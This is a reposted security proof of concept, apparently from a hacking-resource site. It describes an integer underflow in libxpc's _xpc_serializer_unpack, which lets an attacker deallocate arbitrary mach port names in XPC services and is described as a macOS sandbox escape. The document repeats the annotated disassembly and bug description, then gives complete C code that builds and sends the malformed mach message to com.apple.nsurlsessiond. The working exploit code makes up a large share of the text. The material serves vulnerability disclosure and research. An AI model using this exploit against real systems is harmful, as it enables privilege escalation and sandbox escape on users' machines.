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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.

There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
they're also transfered as MACH_PORT_OOL_PORT descriptors.

Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.

Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.

This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.

It turns out that libxpc does exactly that in _xpc_serializer_unpack:

__text:0000000000007016                 cmp     dword ptr [rbx], 0        ; rbx points to the start of the mach message
__text:0000000000007019                 js      short loc_703F            ; branch if the COMPLEX bit is set
...
__text:000000000000703F loc_703F:                               ; CODE XREF: __xpc_serializer_unpack+67↑j
__text:000000000000703F                 mov     rax, rbx
__text:0000000000007042                 mov     edx, [rax+18h]            ; read msgh_descriptor_count, which could be 0
__text:0000000000007045                 add     rbx, 1Ch                  ; point rbx to the first descriptor
__text:0000000000007049                 mov     ecx, 0FF000000h
__text:000000000000704E                 and     ecx, [rax+24h]
__text:0000000000007051                 cmp     ecx, 1000000h             ; is the type OOL_DESC?
__text:0000000000007057                 jnz     short loc_7089
__text:0000000000007059                 or      byte ptr [r12+0ACh], 4    ; yes, then set this bit
__text:0000000000007062                 mov     r9, [rbx]                 ; save the address field
__text:0000000000007065                 mov     r15d, [rbx+0Ch]           ; and size field for later
__text:0000000000007069                 lea     rax, __xpc_serializer_munmap
__text:0000000000007070                 mov     [r12+48h], rax
__text:0000000000007075                 dec     edx                       ; decrement msgh_descriptor_count, so could now be 0xffffffff
__text:0000000000007077                 mov     dword ptr [rbx+0Ch], 0    ; clear the size in the message
__text:000000000000707E                 lea     rbx, [rbx+10h]            ; skip over this desc
__text:0000000000007082                 mov     eax, 2Ch ; ','
__text:0000000000007087                 jmp     short loc_7094
__text:0000000000007094                 test    edx, edx                  ; test whether msgh_descriptor_count is now 0
__text:0000000000007096                 jz      loc_713E                  ; but we've decremented it to 0xffffffff :)

The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.

By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().

You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
for the port name 0x414141 to be passed in rsi.

There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.

Still, it would be a nice sandbox escape on MacOS.

Tested on MacOS 10.14.1 (18B75)
*/

// ianbeer
#if 0
Arbitrary mach port name deallocation in XPC services due to invalid mach message parsing in _xpc_serializer_unpack

_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.

There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
they're also transfered as MACH_PORT_OOL_PORT descriptors.

Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.

Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.

This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.

It turns out that libxpc does exactly that in _xpc_serializer_unpack:

__text:0000000000007016                 cmp     dword ptr [rbx], 0        ; rbx points to the start of the mach message
__text:0000000000007019                 js      short loc_703F            ; branch if the COMPLEX bit is set
...
__text:000000000000703F loc_703F:                               ; CODE XREF: __xpc_serializer_unpack+67↑j
__text:000000000000703F                 mov     rax, rbx
__text:0000000000007042                 mov     edx, [rax+18h]            ; read msgh_descriptor_count, which could be 0
__text:0000000000007045                 add     rbx, 1Ch                  ; point rbx to the first descriptor
__text:0000000000007049                 mov     ecx, 0FF000000h
__text:000000000000704E                 and     ecx, [rax+24h]
__text:0000000000007051                 cmp     ecx, 1000000h             ; is the type OOL_DESC?
__text:0000000000007057                 jnz     short loc_7089
__text:0000000000007059                 or      byte ptr [r12+0ACh], 4    ; yes, then set this bit
__text:0000000000007062                 mov     r9, [rbx]                 ; save the address field
__text:0000000000007065                 mov     r15d, [rbx+0Ch]           ; and size field for later
__text:0000000000007069                 lea     rax, __xpc_serializer_munmap
__text:0000000000007070                 mov     [r12+48h], rax
__text:0000000000007075                 dec     edx                       ; decrement msgh_descriptor_count, so could now be 0xffffffff
__text:0000000000007077                 mov     dword ptr [rbx+0Ch], 0    ; clear the size in the message
__text:000000000000707E                 lea     rbx, [rbx+10h]            ; skip over this desc
__text:0000000000007082                 mov     eax, 2Ch ; ','
__text:0000000000007087                 jmp     short loc_7094
__text:0000000000007094                 test    edx, edx                  ; test whether msgh_descriptor_count is now 0
__text:0000000000007096                 jz      loc_713E                  ; but we've decremented it to 0xffffffff :)

The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.

By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().

You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
for the port name 0x414141 to be passed in rsi.

There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.

Still, it would be a nice sandbox escape on MacOS.

Tested on MacOS 10.14.1 (18B75)

#endif

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>

kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);

struct xpc_w00t {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t client_port;
  mach_msg_port_descriptor_t reply_port;
};

static int
xpc_checkin(
  mach_port_t service_port,
  mach_port_t* client_port,
  mach_port_t* reply_port)
{
  // allocate the client and reply port:
  kern_return_t err;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, client_port);
  if (err != KERN_SUCCESS) {
    printf("port allocation failed: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  }

  // insert a send so we maintain the ability to send to this port
  err = mach_port_insert_right(mach_task_self(), *client_port, *client_port, MACH_MSG_TYPE_MAKE_SEND);
  if (err != KERN_SUCCESS) {
    printf("port right insertion failed: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  }

  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, reply_port);
  if (err != KERN_SUCCESS) {
    printf("port allocation failed: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  }

  struct xpc_w00t msg;
  memset(&msg.hdr, 0, sizeof(msg));
  msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
  msg.hdr.msgh_size = sizeof(msg);
  msg.hdr.msgh_remote_port = service_port;
  msg.hdr.msgh_id   = 'w00t';
  
  msg.body.msgh_descriptor_count = 2;

  msg.client_port.name        = *client_port;
  msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
  msg.client_port.type        = MACH_MSG_PORT_DESCRIPTOR;

  msg.reply_port.name        = *reply_port;
  msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
  msg.reply_port.type        = MACH_MSG_PORT_DESCRIPTOR;
  
  err = mach_msg(&msg.hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 msg.hdr.msgh_size,
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  if (err != KERN_SUCCESS) {
    printf("w00t message send failed: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  } else {
    printf("sent xpc w00t message\n");
  }

  return 1;
}

struct xpc_bad_ool {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_descriptor_t ool0;
  mach_msg_port_descriptor_t port1;
  mach_msg_ool_descriptor_t ool2;
};


void bad_xpc(mach_port_t p) {
  kern_return_t err;
  struct xpc_bad_ool msg = {0};

  msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
  msg.hdr.msgh_size = sizeof(msg);
  msg.hdr.msgh_remote_port = p;
  msg.hdr.msgh_id   = 0x10000000;
  
  msg.body.msgh_descriptor_count = 0;

  msg.ool0.address = 0x414141414141;
  msg.ool0.size = 0x4000;
  msg.ool0.type = MACH_MSG_OOL_DESCRIPTOR;
  
  msg.port1.name = 0x41414141;  // port name to mach_port_deallocate in target
  msg.port1.disposition = 0x11;
  msg.port1.type = MACH_MSG_PORT_DESCRIPTOR;
  
  msg.ool2.address = 0x414141414141;
  msg.ool2.size = 0x4000;
  msg.ool2.type = MACH_MSG_OOL_DESCRIPTOR;
  

  err = mach_msg(&msg.hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 msg.hdr.msgh_size,
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  if (err != KERN_SUCCESS) {
    printf("xpc message send failed: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  } else {
    printf("sent xpc message\n");
  }

}

// lookup a launchd service:
static mach_port_t
lookup(
  char* name)
{
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  if (service_port == MACH_PORT_NULL) {
    printf("bad service port\n");
    return MACH_PORT_NULL;
  }
  return service_port;
}

void
xpc_connect(
  char* service_name,
  mach_port_t* xpc_client_port,
  mach_port_t* xpc_reply_port)
{
  mach_port_t service_port = lookup(service_name);
  xpc_checkin(service_port, xpc_client_port, xpc_reply_port);
  mach_port_destroy(mach_task_self(), service_port);
}

int main() {
  mach_port_t service_port = lookup("com.apple.nsurlsessiond");

  mach_port_t xpc_client_port = MACH_PORT_NULL;
  mach_port_t xpc_reply_port  = MACH_PORT_NULL;

  xpc_checkin(service_port, &xpc_client_port, &xpc_reply_port);
  printf("xpc_client_port: %x\n", xpc_client_port);
  printf("checked in?\n");

  bad_xpc(xpc_client_port);

  return 0;
}